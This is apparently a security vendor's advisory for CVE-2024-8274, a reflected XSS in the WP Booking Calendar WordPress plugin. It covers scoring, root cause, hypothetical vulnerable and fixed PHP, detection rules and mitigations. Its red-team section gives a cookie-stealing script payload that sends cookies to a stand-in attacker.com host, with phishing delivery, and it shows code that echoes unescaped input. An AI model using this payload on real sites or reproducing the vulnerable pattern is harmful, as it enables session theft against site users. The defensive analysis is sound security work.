CVE-2024-8274
Executive Summary
CVE-2024-8274 is a reflected Cross-Site Scripting (XSS) vulnerability affecting the WP Booking Calendar plugin for WordPress, up to and including version 10.5. An unauthenticated attacker can inject arbitrary web scripts via the timeline_obj parameter, which is insufficiently sanitized and escaped. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to script execution in the victim's browser within the context of the vulnerable WordPress site. This can result in session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx directly.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – Exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – Victim must click a link.
- Scope (S): Changed – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited data modification.
- Availability (A): None – No impact on availability.
Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the ease of exploitation and lack of patch make it a persistent risk for unpatched sites.
Deep Dive & Mechanics
The vulnerability resides in the timeline_obj parameter, likely used by the booking calendar's timeline view to pass JSON-like data. The plugin fails to sanitize user-supplied input and escape output when rendering this parameter in the page. An attacker can craft a URL containing malicious JavaScript in the timeline_obj parameter. When a victim clicks the link, the script executes in their browser, allowing the attacker to perform actions on behalf of the victim, such as stealing cookies, redirecting to malicious sites, or modifying page content.
Root Cause: Insufficient input validation and output escaping in the handling of the timeline_obj parameter. The plugin likely uses echo or similar functions without proper escaping (e.g., esc_js() or wp_kses()).
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/?timeline_obj=<script>alert('XSS')</script> - Victim clicks the link (e.g., via phishing email).
- The WordPress site processes the request and reflects the malicious script in the response.
- The victim's browser executes the script, granting the attacker control.
Vulnerable vs. Patched Code
Since no patch is available, we analyze the likely vulnerable code pattern.
Vulnerable Code (hypothetical):
// In a template or shortcode handler
$timeline_obj = $_GET['timeline_obj'];
echo "<div data-timeline='$timeline_obj'></div>";
Patched Code (expected):
$timeline_obj = isset($_GET['timeline_obj']) ? sanitize_text_field($_GET['timeline_obj']) : '';
echo "<div data-timeline='" . esc_attr($timeline_obj) . "'></div>";
The patched version uses sanitize_text_field() to strip malicious content and esc_attr() to safely escape output for HTML attributes.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WP Booking Calendar <= 10.5.
- Ability to deliver a crafted link to a victim.
Exploit Payload:
https://victim-site.com/?timeline_obj=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Steps:
- Encode the payload to avoid URL issues:
https://victim-site.com/?timeline_obj=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send the link via email or social engineering.
- When the victim clicks, their cookies are sent to the attacker's server.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Detection & Response)
Detection:
- Monitor web logs for requests containing
timeline_obj=followed by script tags or encoded JavaScript. - Use WAF rules to block requests with
timeline_objcontaining<script>oronerrorattributes.
Response:
- Immediately isolate the affected WordPress instance.
- Review access logs for suspicious requests.
- Force password resets for all users if session tokens were compromised.
- Apply virtual patching via WAF until an official patch is released.
Indicators of Compromise (IOCs)
- URL Patterns:
?timeline_obj=<script>,?timeline_obj=%3Cscript%3E - Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
- Log Entries: HTTP requests with
timeline_objparameter containing JavaScript code. - File Changes: Unexpected modifications to WordPress core files or plugin files (unlikely for reflected XSS).
Detection Engineering
YARA Rule
rule CVE_2024_8274_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting WP Booking Calendar timeline_obj parameter"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-8274"
strings:
$param = "timeline_obj="
$script = /<script[^>]*>/
$encoded_script = /%3Cscript%3E/
condition:
$param and ($script or $encoded_script)
}
Sigma Rule
title: Reflected XSS via WP Booking Calendar timeline_obj
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against WP Booking Calendar plugin
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "timeline_obj="
c-uri|contains|any:
- "<script"
- "%3Cscript%3E"
condition: selection
falsepositives:
- Legitimate use of timeline_obj with non-malicious data (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8274 WP Booking Calendar Reflected XSS"; flow:to_server,established; content:"timeline_obj="; http_uri; pcre:"/(<script|%3Cscript%3E)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical for business operations.
- Apply virtual patching using a WAF (e.g., ModSecurity rule to block
timeline_objwith script patterns). - Monitor logs for exploitation attempts.
Long-term Fix:
- Await an official patch from the vendor. If none is forthcoming, consider replacing the plugin with an alternative.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Educate users about phishing links.
Workaround:
- Add the following to
.htaccessto block malicious requests:
RewriteCond %{QUERY_STRING} timeline_obj=.*<script [NC,OR]
RewriteCond %{QUERY_STRING} timeline_obj=.*%3Cscript%3E [NC]
RewriteRule .* - [F,L]
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.